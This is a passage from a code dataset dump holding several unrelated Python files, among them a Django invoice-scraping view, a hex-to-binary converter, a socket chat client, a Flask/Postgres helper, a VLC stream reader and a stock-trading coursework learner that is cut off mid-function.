timedelta(1)).strftime(\"%Y-%m-%d\"),\n \"overdueOnly\": False,\n }\n r = s.post(url, json=data, headers=headers)\n if r.status_code != 200:\n return JsonResponse({}, status=500)\n\n invoices = []\n sum_to_pay = 0\n soup = BeautifulSoup(r.json()[\"d\"], \"html5lib\")\n for row in soup.find(\"table\").find_all(\"tr\")[1:]:\n if row.attrs.get(\"class\") and \"row-separator\" in row.attrs.get(\"class\"):\n continue\n if row.find(\"td\", {\"class\": \"flex-note\"}):\n continue\n if not row.find(\"td\"):\n continue\n to_pay = row.find(\"td\", attrs={\"class\": \"flex-price-to-pay\"}).text.strip()\n if to_pay == \"0 zł\":\n continue\n to_pay = Decimal(remove_suffix(to_pay, \" zł\").replace(\" \", \"\").replace(\",\", \".\"))\n sum_to_pay += to_pay\n number = row.find(\"td\").text.strip()\n number = remove_suffixes(number, [\"Faktura\", \"Nota kredytowa\", \"Korekta\"])\n invoice = {\n \"number\": number,\n \"date\": _date(\n date_parser.parse(\n row.find(\"td\", attrs={\"attr-text\": \"Wydane:\"}).text.strip(), dayfirst=True\n ).date()\n ),\n \"to_pay\": to_pay,\n }\n try:\n obj = Invoice.objects.get(number=number, supplier=self.settings.DEKO_SUPPLIER)\n invoice[\"url\"] = reverse(\"warehouse:invoice_detail\", kwargs={\"slug\": slugify(obj), \"pk\": obj.pk})\n except Invoice.DoesNotExist:\n pass\n invoices.append(invoice)\n return JsonResponse({\"invoices\": invoices, \"to_pay\": sum_to_pay})\n","sub_path":"apps/stats/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":34863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"252587856","text":"#!/usr/bin/env python\n\n__description__ = 'Hex to bin'\n__author__ = 'Didier Stevens'\n__version__ = '0.0.2'\n__date__ = '2019/05/11'\n\n\"\"\"\n\nSource code put in public domain by Didier Stevens, no Copyright\nhttps://DidierStevens.com\nUse at your own risk\n\nHistory:\n 2014/02/01: start\n 2015/12/20: added stdin support\n 2016/01/06: changed name from hex2bin.py to hex-to-bin.py; added man\n 2019/05/07: added option -a\n 2019/05/11: added option -l and -s\n\nTodo:\n\"\"\"\n\nimport optparse\nimport binascii\nimport sys\nimport os\nimport signal\nimport textwrap\n\ndef PrintManual():\n manual = '''\nManual:\n\nThis program reads from the given file or standard input, and converts the hexadecimal data to binary data.\n\nUsing option -a, this tool will look for the first hexadecimal/ASCII dump (see example below) as produced by other tools developed by Didier Stevens, and extract the contained hexadecimal data to convert to binary data.\n\nFile: demo.bin\nMagic header found, dumping data:\n00000000: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ..............\n00000010: B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......\n00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n\nWith option -a, the tool looks for string 00000000:.\n\nOption -s can be used to select another hexadecimal/ASCII dump than the first one (for example, -s 2 to select the second dump).\n\nOption -l (list) can be used to produce an overview of all hexadecimal/ASCII dumps found in the input, together with an index number to be used with option -s.\n\nThe binary data is written to standard output.\n'''\n for line in manual.split('\\n'):\n print(textwrap.fill(line))\n\n# CIC: Call If Callable\ndef CIC(expression):\n if callable(expression):\n return expression()\n else:\n return expression\n\n# IFF: IF Function\ndef IFF(expression, valueTrue, valueFalse):\n if expression:\n return CIC(valueTrue)\n else:\n return CIC(valueFalse)\n\ndef File2String(filename):\n try:\n f = open(filename, 'rb')\n except:\n return None\n try:\n return f.read()\n except:\n return None\n finally:\n f.close()\n\ndef FixPipe():\n try:\n signal.signal(signal.SIGPIPE, signal.SIG_DFL)\n except:\n pass\n\n#Fix for http://bugs.python.org/issue11395\ndef StdoutWriteChunked(data):\n while data != '':\n sys.stdout.write(data[0:10000])\n sys.stdout.flush()\n data = data[10000:]\n\ndef FindBeginHEXASCIIDump(data):\n positions = []\n position = 0\n while position != -1:\n position = data.find('00000000: ', position)\n if position != -1:\n if position == 0 or data[position - 1] == '\\x0A':\n positions.append(position)\n position += 1\n return positions\n\ndef ExtractHEXASCIIDump(data, select):\n positionColon = 8\n lengthHexadecimal = 48\n positions = FindBeginHEXASCIIDump(data)\n if positions == []:\n return ''\n result = ''\n for line in data[positions[select - 1]:].split('\\n'):\n line = line.strip()\n if len(line) <= positionColon:\n break\n if line[positionColon] == ':':\n result += line[positionColon + 2:positionColon + 2 + lengthHexadecimal] + '\\n'\n else:\n break\n return result\n\ndef ListHEXASCIIDumps(data):\n for index, position in enumerate(FindBeginHEXASCIIDump(data)):\n print('%d: %s' % (index + 1, data[position:].split('\\n')[0]))\n\ndef Hex2Bin(filename, options):\n FixPipe()\n if filename == '':\n content = sys.stdin.read()\n else:\n content = File2String(filename)\n if options.asciidump:\n content = ExtractHEXASCIIDump(content, int(options.select))\n elif options.list:\n ListHEXASCIIDumps(content)\n return\n if sys.platform == 'win32':\n import msvcrt\n msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)\n StdoutWriteChunked(binascii.unhexlify(content.replace(' ', '').replace('\\t', '').replace('\\r', '').replace('\\n', '')))\n\ndef Main():\n oParser = optparse.OptionParser(usage='usage: %prog [options] [file]\\n' + __description__, version='%prog ' + __version__)\n oParser.add_option('-m', '--man', action='store_true', default=False, help='Print manual')\n oParser.add_option('-a', '--asciidump', action='store_true', default=False, help='Extract Hex/ASCII dump from other tools')\n oParser.add_option('-l', '--list', action='store_true', default=False, help='List all Hex/ASCII dumps')\n oParser.add_option('-s', '--select', default='1', help='select dump nr for extraction (default first dump)')\n (options, args) = oParser.parse_args()\n\n if options.man:\n oParser.print_help()\n PrintManual()\n return\n\n if len(args) > 1:\n oParser.print_help()\n print('')\n print(' Source code put in the public domain by Didier Stevens, no Copyright')\n print(' Use at your own risk')\n print(' https://DidierStevens.com')\n return\n elif len(args) == 0:\n Hex2Bin('', options)\n else:\n Hex2Bin(args[0], options)\n\nif __name__ == '__main__':\n Main()\n","sub_path":"hex-to-bin.py","file_name":"hex-to-bin.py","file_ext":"py","file_size_in_byte":5133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"101069346","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date : 2018-06-09 17:26:21\n# @Author : Your Name (you@example.org)\n# @Link : http://example.org\n# @Version : $Id$\n\n#处理企业微信业务\n\nfrom execsqlscript import *\n\n#将传入的内容通过mdm_erp库以企业微信形式发出\ndef send_ky_qywx_text(receivers,content):\t\n\tcontent = content.replace(\"'\",'\"')\n\tconndict = get_conn_mssql_mdm()\n\tsqlcript = ','.join(receivers)\n\tsqlcript = '''insert into svc.Sms_Queue(ToName,ToMobileNo,Context,CreateOn,SendFlag,Type,Src)\n\t\tselect a.Att,a.Att,\\'''' + content + '''\\',getdate(),'pending','qywx','Check_Data'\n\t\tfrom dbo.FSplitStrToTable(\\'''' + sqlcript + '''\\') a\n\t\t'''\n\n\t# print(\"-------------------------------------------------------------------------------\")\n\t# print(sqlcript)\t\n\t# print(\"-------------------------------------------------------------------------------\")\n\ttry:\n\t\texec_mssql_noreturn(conndict, sqlcript)\t\n\texcept Exception as e:\n\t\t# raise e\n\t\tprint(\"异常Sql语句\\n\" + sqlcript)\n\t\tprint(e)\n\n#send_ky_qywx_text([\"990010331\",\"990100133\"],\"测试而已\")\t","sub_path":"lib/send_my_qywx.py","file_name":"send_my_qywx.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"196333873","text":"import vlc\nimport ctypes\nimport cv2\nimport numpy\nimport os\nfrom PIL import Image\nimport base64\n\t\nos.chdir('/home/ubuntu/stream')\nsdp_path = os.path.abspath(\"bebop.sdp\")\n#sdp_path = 'v4l2:///dev/video1'\n#sdp_path = 'udp://@:55004'\npl = vlc.MediaPlayer(sdp_path, \":network-caching=1000\", \":sout-mux-caching=<>\")\n\n#i = vlc.Instance('--verbose 2'.split())\n#pl = i.media_player_new()\n#pl.set_mrl(sdp_path)\n\nVIDEOWIDTH = 640\nVIDEOHEIGHT = 480\n\nimg = None\nflag = False\n\n# size in bytes when RV32\nsize = VIDEOWIDTH * VIDEOHEIGHT * 4\n# allocate buffer\nbuf = (ctypes.c_ubyte * size)()\n# get pointer to buffer\nbuf_p = ctypes.cast(buf, ctypes.c_void_p)\n\nCorrectVideoLockCb = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p, ctypes.POINTER(ctypes.c_void_p))\n\n@CorrectVideoLockCb\ndef _lockcb(opaque, planes):\n planes[0] = buf_p\n\n@vlc.CallbackDecorators.VideoDisplayCb\ndef _display(opaque, picture):\n global flag\n flag = True\n pass\n\nvlc.libvlc_video_set_callbacks(pl, _lockcb, None, _display, None)\npl.video_set_format(\"RV32\", VIDEOWIDTH, VIDEOHEIGHT, VIDEOWIDTH * 4)\n\npl.play()\n\ndef start(func):\n global flag\n while True:\n img = Image.frombuffer(\"RGBA\", (VIDEOWIDTH, VIDEOHEIGHT), buf, \"raw\", \"BGRA\", 0, 1)\n if img is not None and flag:\n frame = cv2.cvtColor(numpy.array(img), cv2.COLOR_RGB2BGR)\n _, encoded = cv2.imencode('.jpg', frame) \n encoded = base64.b64encode(encoded)\n func(encoded.decode('utf8'))\n flag = False\n cv2.waitKey(1)\n","sub_path":"misc_code/stream/stream_client_vlc.py","file_name":"stream_client_vlc.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"497069504","text":"import psycopg2\nfrom flask import current_app, g\nfrom flask.cli import with_appcontext\nimport click\nfrom datetime import datetime\nfrom os import path, environ\nimport json\n\n\ndef get_db():\n db_url = environ.get('DATABASE_URL')\n try:\n if 'db' not in g:\n g.db = psycopg2.connect(db_url)\n return g.db\n except RuntimeError:\n db = psycopg2.connect(db_url)\n return db\n\n\ndef close_db(db_conn=None):\n try:\n db = g.pop('db', None)\n if db is not None:\n db.close()\n except RuntimeError:\n try:\n db_conn.close()\n except:\n print('db close error')\n\n\ndef select_all_data():\n db = get_db()\n cursor = db.cursor()\n all_data = cursor.execute('SELECT id, location, latitude, longitude, created, nickname FROM data;')\n all_data = cursor.fetchall()\n db.commit()\n cursor.close()\n # db.close()\n close_db(db)\n return all_data\n\n\ndef create_table():\n '''\n created new data table in DB\n :return:\n '''\n db = get_db()\n cursor = db.cursor()\n status = cursor.execute('CREATE TABLE data2 (id SERIAL PRIMARY KEY, location TEXT NOT NULL, latitude REAL NOT NULL, longitude REAL NOT NULL, created TIMESTAMP NOT NULL, nickname TEXT);')\n print('status: ', status)\n db.commit()\n cursor.close()\n close_db(db)\n\n\ndef add_column_to_data():\n '''\n adds empty nickname column to data table\n :return:\n '''\n db = get_db()\n cursor = db.cursor()\n status = cursor.execute('ALTER TABLE data ADD COLUMN nickname TEXT;')\n db.commit()\n cursor.close()\n close_db(db)\n\n\ndef insert_into_data(location, latitude, longitude, nickname):\n db = get_db()\n cursor = db.cursor()\n cursor.execute(\"INSERT INTO data (location, latitude, longitude, created, nickname) VALUES (%s, %s, %s, %s, %s)\",\n (location, latitude, longitude, datetime.utcnow(), nickname))\n db.commit()\n cursor.close()\n # db.close()\n close_db(db)\n return True\n\n\ndef select_map_data():\n db = get_db()\n cursor = db.cursor()\n cursor.execute('SELECT latitude, longitude FROM data')\n all_data = cursor.fetchall()\n map_data = []\n for each in all_data:\n # map_data.append([each['latitude'], each['longitude']])\n map_data.append([each[0], each[1]])\n cursor.close()\n # db.close()\n close_db(db)\n return map_data\n\n\ndef select_nicknames():\n db = get_db()\n cursor = db.cursor()\n cursor.execute('SELECT nickname FROM data')\n db_data = cursor.fetchall()\n nicknames = []\n for each in db_data:\n nicknames.append(each[0])\n cursor.close()\n # db.close()\n close_db(db)\n return nicknames\n\n\ndef export_to_json():\n db = get_db()\n cursor = db.cursor()\n cursor.execute('SELECT location, latitude, longitude, nickname FROM data;')\n all_data = cursor.fetchall()\n db.commit()\n cursor.close()\n close_db(db)\n\n headers = ['location', 'latitude', 'longitude', 'nickname']\n json_data = json.dumps([headers, all_data], indent=4, sort_keys=True, separators=(',', ': '), ensure_ascii=True)\n return json_data\n\n\ndef init_app(app):\n app.teardown_appcontext(close_db)\n","sub_path":"db_pg.py","file_name":"db_pg.py","file_ext":"py","file_size_in_byte":3184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"536691171","text":"__author__ = 'Viral_Shah'\n\nfrom b.WordFrequencyCounter import compute_word_frequencies\n\n\ndef compute_palindrome_frequencies(words: list):\n \"\"\"\n :param words: takes in a list of strings\n :return: returns list of frequencies of palindromes in list of strings\n\n SEE ANALYSIS FOR MORE EXPLANATIONS\n\n we create:\n a list of indices of beginnings of words in a joined string of the list of words\n a list of indices of ending of words in a joined string of the list of words\n a joined string of the list of words\n\n we then iterate over the string using range and expand around each character to find palindromes and record them, we then convert to list of frequencies\n \"\"\"\n\n # create an array of palindromes\n palindromes = []\n #check if the words list is empty\n if not words:\n return palindromes\n\n else:\n complete_words, begin_indices, end_indices = setup(words)\n total_length = len(complete_words)\n\n # set the constant of minimum length of palindromes found\n MIN_LEN = 3\n\n for i in range(total_length):\n\n begin = i\n end = i + 1\n # handling odd length strings by setting before pointer to current char\n while (check_indexes(begin, end, total_length) and (check_reverse_match(begin, end, complete_words))):\n # When we encounter a space, we must skip over it, so a palindrome _abba_ is not counted we just move pointer backwards or forwards\n if complete_words[begin] == \" \":\n begin-=1\n continue\n if complete_words[end] == \" \":\n end+=1\n continue\n pal = complete_words[begin : end + 1]\n if (is_valid_palindrome(pal) and (begin in begin_indices) and (end in end_indices)):\n palindromes.append(pal)\n # expand outwards\n begin-=1\n end+=1\n\n # reinitialize begin and end for even length strings by setting pointer before and after current char\n begin = i - 1\n end = i + 1\n\n while (check_indexes(begin, end, total_length) and (check_reverse_match(begin, end, complete_words))):\n # When we encounter a space, we must skip over it, so a palindrome _abba_ is not counted we just move pointer backwards or forwards\n if complete_words[begin] == \" \":\n begin-=1\n continue\n\n if complete_words[end] == \" \":\n end+=1\n continue\n pal = complete_words[begin : end + 1]\n if (is_valid_palindrome(pal) and (begin in begin_indices) and (end in end_indices)):\n palindromes.append(pal)\n # expand outwards\n begin-=1\n end+=1\n\n result = compute_word_frequencies(palindromes)\n return result\n\n\ndef check_indexes(begin, end, total_length):\n \"\"\"\n :param begin: takes in the beginning index of the palindrome string\n :param end: takes in the ending index of palindrome string\n :param total_length: takes in the total length of the string\n :return: returns true if the indexes are valid (between 0 and the total length)\n \"\"\"\n return (begin >= 0) and (end < total_length)\n\ndef check_reverse_match(begin, end, complete_words):\n \"\"\"\n\n :param begin: char index before current char\n :param end: character index after current char\n :param complete_words: string of all the words\n :return: returns true if the characters are equal or either one of them is a space\n \"\"\"\n return complete_words[begin] == complete_words[end] or complete_words[begin] == \" \" or complete_words[end] == \" \"\n\ndef is_valid_palindrome(pal):\n \"\"\"\n :param pal: takes in a string which is a palindrome\n Function checks if the palindrome is longer than 2 letters\n :return: returns boolean value if palindrome is longer than 2 letters\n \"\"\"\n test = len(pal) > 2\n return test\n\ndef setup(words):\n \"\"\"\n :param words: list of strings\n :return: returns list of indices of beginnings and ends and joined string of the words in the list of words\n \"\"\"\n complete_words = \"\"\n begin_indices = []\n end_indices = []\n for word in words:\n b = len(complete_words)\n e = b + (len(word) - 1)\n begin_indices.append(b)\n end_indices.append(e)\n complete_words += word + \" \"\n return (complete_words.strip(), begin_indices, end_indices)","sub_path":"CS-121/Assignment 1/d/PalindromeFrequencyCounter.py","file_name":"PalindromeFrequencyCounter.py","file_ext":"py","file_size_in_byte":4569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"183321165","text":"class fQryRekeningPesertaKUM3:\n def __init__(self,formObj,parentObj):\n self.form = formObj\n self.app = formObj.ClientApplication\n self.FormView = None\n\n def Show(self):\n self.ShowRekening()\n self.FormContainer.Show()\n\n def FilterClick(self,sender):\n self.ShowRekening()\n \n def UnfilterClick(self, sender):\n self.uippeserta.Edit()\n self.uippeserta.tipe = 0\n self.ShowAll()\n\n\n def ShowRekening(self):\n ph = self.app.CreatePacket()\n query1 = self.RekList\n uippeserta = self.uippeserta\n AddParam = ''\n nocol = uippeserta.norek or ''\n nacol = uippeserta.nama or ''\n tipe = uippeserta.tipe or 0\n if nocol != '' :\n AddParam += \" AND %s LIKE '%s'\" % ('AccountNo', nocol)\n if nacol != '' :\n AddParam += \" AND %s LIKE '%s'\" % ('AccountName', nacol)\n #if tipe == 1:\n # AddParam+=\" AND TransactionAccountType = 'F' \"\n #if tipe == 2:\n # AddParam+=\" AND TransactionAccountType = 'L' \"\n query1.OQLText = \"Select from FinancingAccount \\\n [ LMustahiqProduct.LProduct.ProductGroupName='KUM3' %s ] \\\n ( AccountNo, \\\n AccountName, \\\n self); \" % (AddParam)\n #raise 'oql', query1.OQLText\n query1.DisplayData()\n \n def ShowAll(self):\n ph = self.app.CreatePacket()\n #raise 'ids', listid.accno\n query1 = self.RekList\n query1.OQLText = \"Select from FinancingAccount \\\n [ LMustahiqProduct.LProduct.ProductGroupName='KUM3' ] \\\n ( AccountNo, \\\n AccountName, \\\n self); \"\n #raise 'oql', query1.OQLText\n query1.DisplayData()\n \n def ViewData(self):\n key = self.RekList.KeyObjConst\n #raise 'key', key\n ph = self.app.CreateValues(\n ['key', key])\n res = self.FormObject.CallServerMethod('GetMsId', ph)\n mustahiq = res.FirstRecord\n mustahiqkey = \"PObj:MustahiqProduct#PRODUCTID=%s#MUSTAHIQID=%s\" % (mustahiq.pid,mustahiq.msid)\n #raise '', mustahiqkey\n ph = self.app.CreateValues(\n ['key', mustahiqkey])\n dlg = self.app.CreateForm('KUM3/fPesertaKUM3ViewEx','fPesertaKUM3ViewEx',0,ph,None)\n dlg.Show()\n\n\n def ViewPeserta(self, sender):\n self.ViewData()\n\n def ViewHistory(self):\n key = self.RekList.KeyObjConst\n #raise 'key', key\n ph = self.app.CreateValues(\n ['key', key],\n ['tabel', 'fina'])\n dlg = self.app.CreateForm('KUM3/QryHistoryTransaksi','QryHistoryTransaksi',0,ph,None)\n dlg.Show()\n\n def ViewHistoryClick(self, sender):\n self.ViewHistory()\n\n\n \n\n","sub_path":"dialogs/KUM3/fQryRekeningPesertaKUM3_intr.py","file_name":"fQryRekeningPesertaKUM3_intr.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"648166408","text":"import pandas as pd\n#import numpy as np\nimport sys\n\n#############################################################################\n## command to run the code #################################################\n### python script_num1.py FMD-January2020_new.xlsx FMD-January2020_new.csv ##\n##############################################################################\n\ndf = pd.read_excel(sys.argv[1])\n\ndef fix(value):\n #print(value, type(value))\n if type(value) is not str:\n return str(value).zfill(6)\n else:\n return value\ndf['Fabric#'] = df['Fabric#'].map(fix)\n\ntlrd = '''TLRD BRND \nOO at Mill '''\ndef fix2(value):\n return int(value)\ndf[tlrd] = df[tlrd].map(fix2)\ndf.to_csv(sys.argv[2], index=False,header=True )\n\n\n\n","sub_path":"script_num1.py","file_name":"script_num1.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"630199170","text":"import seaborn as sns\nimport pandas as pd\nimport numpy as np\n\n# create freq matrix\ndef cross_freq(arr):\n shape = arr.shape[1]\n f = np.zeros((shape, shape))\n for j in range(0, shape):\n for i in range(j, shape):\n ind = np.where(np.logical_and(~np.isnan(arr[..., j]), ~np.isnan(arr[..., i])))\n f[j, i], f[i, j] = ind[0].shape[0], ind[0].shape[0]\n return f\n\nengines = pd.read_csv('engines.csv', header=0, delimiter=',')\nf = np.array(engines)\nf = cross_freq(f)\ne = pd.DataFrame(f)\n\nnames = {}\nfor i, col in enumerate(engines.columns):\n names[i] = col\n\ne = e.rename(names)\ne = e.rename(columns=names)\nprint(e)\n\nmask = np.zeros_like(e)\nmask[np.triu_indices_from(mask)] = True\n\nsns.set_style(\"white\")\nhmap = sns.heatmap(e, cmap=sns.cubehelix_palette(8, start=1, dark=0.1, light=.85, as_cmap=True),\n linewidths=.3,\n mask = mask,\n vmax = 100,\n vmin = 1)\nsns.plt.yticks(rotation=0)\nsns.plt.xticks(rotation=90)\nsns.plt.subplots_adjust(left=0.1, right=0.9, top=0.95, bottom=0.15)\n# sns.plt.savefig('heatmap.pdf')\nsns.plt.show()\n","sub_path":"z_old/snippets/visualization/seaborn/heatmap.py","file_name":"heatmap.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"36056951","text":"import json\nimport socket\nimport os\nimport _thread\n\n# System parameters\nhost = \"localhost\"\nport = 50001\nsize = 1024\n\n# Create connection to server\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((host,port))\nname = \"\"\n\ndef send_message():\n while True:\n print(\"User name for direct message, b for broadcast or q for quiting\")\n dest = input()\n if dest == \"q\":\n print(\"Bye\")\n data = json.dumps({\"type\": \"quit\", \"payload\": {\"source\": name}})\n s.send(data.encode(\"utf-8\"))\n s.close()\n # Need to use os instead of sys, because sys only stops the thread\n os._exit(0)\n\n print(\"What is the message?\")\n msg = input()\n if dest == \"b\":\n data = json.dumps({\"type\": \"broadcast\", \"payload\": {\"source\": name, \"content\": msg}})\n else:\n data = json.dumps({\"type\": \"message\", \"payload\": {\"source\": name, \"dest\": dest, \"content\": msg}})\n s.send(data.encode(\"utf-8\"))\n\n# Request an user name (must be unique in the system)\nprint(\"What name do you want to use?\")\nwhile True:\n name = input()\n if name == \"b\" or name == \"q\":\n print(\"Reserved name. Try another one\")\n continue\n data = json.dumps({\"type\": \"connection\", \"payload\": {\"name\": name}})\n s.send(data.encode(\"utf-8\"))\n # Waits for server response\n data = s.recv(size)\n if data:\n data = json.loads(data.decode(\"utf-8\"))\n # Ok status means the name has been accepted\n if data[\"payload\"][\"status\"] == \"ok\":\n break\n else:\n print(\"Name already taken. Try another one.\")\n\n_thread.start_new_thread(send_message, ())\n\nwhile True:\n raw_data = s.recv(size)\n if raw_data:\n data = json.loads(raw_data.decode(\"utf-8\"))\n if data[\"type\"] == \"broadcast\":\n print(data[\"payload\"][\"source\"], \"(broadcast) >>\", data[\"payload\"][\"content\"])\n elif data[\"type\"] == \"message\":\n print(data[\"payload\"][\"source\"], \">>\", data[\"payload\"][\"content\"])\n else:\n print(\"Something wrong has happened, tell about this to the system admin!\")\n print(\"And send him this:\", raw_data)\n os._exit(1)\n\n# Close the connection\ns.close()\n","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"444134854","text":"\"\"\" \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nTemplate for implementing StrategyLearner (c) 2016 Tucker Balch \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \n \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nCopyright 2018, Georgia Institute of Technology (Georgia Tech) \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nAtlanta, Georgia 30332 \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nAll Rights Reserved \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \n \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nTemplate code for CS 4646/7646 \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \n \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nGeorgia Tech asserts copyright ownership of this template and all derivative \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nworks, including solutions to the projects assigned in this course. Students \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nand other users of this template code are advised not to share it with others \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nor to make it available on publicly viewable websites including repositories \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nsuch as github and gitlab. This copyright statement should not be removed \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nor edited. \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \n \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nWe do grant permission to share solutions privately with non-students such \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nas potential employers. However, sharing with other current or future \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nstudents of CS 7646 is prohibited and subject to being investigated as a \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nGT honor code violation. \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \n \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \n-----do not edit anything above this line--- \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \n \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nStudent Name: Tucker Balch (replace with your name) \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \nGT User ID: dmehta32 (replace with your User ID)\nGT ID: 902831571 (replace with your GT ID)\n\"\"\"\n\nimport numpy as np\nimport datetime as dt\nimport pandas as pd\nimport util as ut\nimport random\nimport BagLearner as bl\nimport RTLearner as rt\nimport ManualStrategy as mans\nimport indicators as ind\nimport marketsimcode as ms\n\n\nclass StrategyLearner(object):\n\n # constructor \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \n def __init__(self, verbose=False, impact=0.0):\n self.verbose = verbose\n self.impact = impact\n self.learner = bl.BagLearner(learner=rt.RTLearner, kwargs={\"leaf_size\":5}, bags=20)\n\n def addEvidence(self, symbol=\"IBM\", \\\n sd=dt.datetime(2008, 1, 1), \\\n ed=dt.datetime(2009, 1, 1), \\\n sv=10000):\n\n # add your code to do learning here\n # example usage of the old backward compatible util function \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \n syms = [symbol]\n dates = pd.date_range(sd, ed)\n prices_all = ut.get_data(syms, dates) # automatically adds SPY \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \n prices = prices_all[syms] # only portfolio symbols \t\t \t \t\t\t \t \t\t \t\t \t\t \t \t\t \t\t \t\t \t\t \n prices_SPY = prices_all['SPY'] # only SPY, for comparison later\n if self.verbose: print(prices)\n\n # Get Indicators used from Project 6 - Manual Strategy (indicators.py)\n sma = ind.calculate_sma(prices)\n bb_upper, bb_lower, bb_ratio = ind.calculate_bb(prices)\n window = 10\n momentum = ind.calculate_momentum(prices, window)\n indicators = pd.concat((sma, bb_ratio, momentum), axis=1)\n indicators.columns = ['SMA', 'BBR', 'MOM']\n indicators.fillna(0, inplace=True)\n indicators = indicators[:-5]\n trainX = indicators.values\n\n # Create the Training Set for Y Values based on the indicators\n # We use market variance as 2% and use N = 5 days\n N = 5\n YBUY = 0.02 + self.impact\n YSELL = -0.02 - self.impact\n prices = prices / prices.iloc[0]\n trainY = np.zeros(prices.shape[0] - N) # Normalize Prices\n for t in range(prices.shape[0] - N):\n # ret = (price[t+N]/price[t]) - 1.0\n ret = (prices.ix[t + N, symbol] / prices.ix[t, symbol]) - 1.0\n if ret > YBUY:\n trainY[t] = 1 # LONG\n elif ret < YSELL:\n trainY[t] = -1 # SHORT\n else:\n trainY[t] = 0 # CASH\n\n # Feed our bag learner the training data to learn a strategy\n self.learner.addEvidence(trainX, trainY)\n\n # this method should use the existing policy and test it against new data\n def testPolicy(self, symbol=\"IBM\", \\\n sd=dt.datetime(2009, 1, 1), \\\n ed=dt.datetime(2010, 1, 1), \\\n sv=10000):\n\n syms = [symbol]\n dates = pd.date_range(sd, ed)\n prices_all = ut.get_data(syms, dates) # automatically adds SPY\n prices = prices_all[syms] # only portfolio symbols\n # prices_SPY = prices_all['SPY'] # only SPY, for comparison later\n\n # Get Indicators used from Project 6 - Manual Strategy (indicators.py)\n sma = ind.calculate_sma(prices)\n bb_upper, bb_lower, bb_ratio = ind.calculate_bb(prices)\n window = 10\n momentum = ind.calculate_momentum(prices, window)\n indicators = pd.concat((sma, bb_ratio, momentum), axis=1)\n indicators.columns = ['SMA', 'BBR', 'MOM']\n indicators.fillna(0, inplace=True)\n indicators = indicators[:-5]\n testX = indicators.values\n\n # Based on the trained learner, get the predicted Y values\n testY = self.learner.query(testX)\n\n # Make the dataframe for trades\n df_trades = pd.DataFrame(index=prices_all.index, columns=[symbol])\n df_trades.loc[:] = 0\n current_holding = 0\n for i in range(testY.shape[0]):\n # Buy the stock i.e. LONG\n if testY[i] > 0:\n if current_holding == 0:\n df_trades.values[i, :] = 1000\n current_holding += 1000\n elif current_holding == -1000:\n df_trades.values[i, :] = 2000\n current_holding += 2000\n elif current_holding == 1000:\n df_trades.values[i, :] = 0\n\n # Sell the stock i.e. SHORT\n elif testY[i] < 0:\n if current_holding == 0:\n df_trades.values[i, :] = 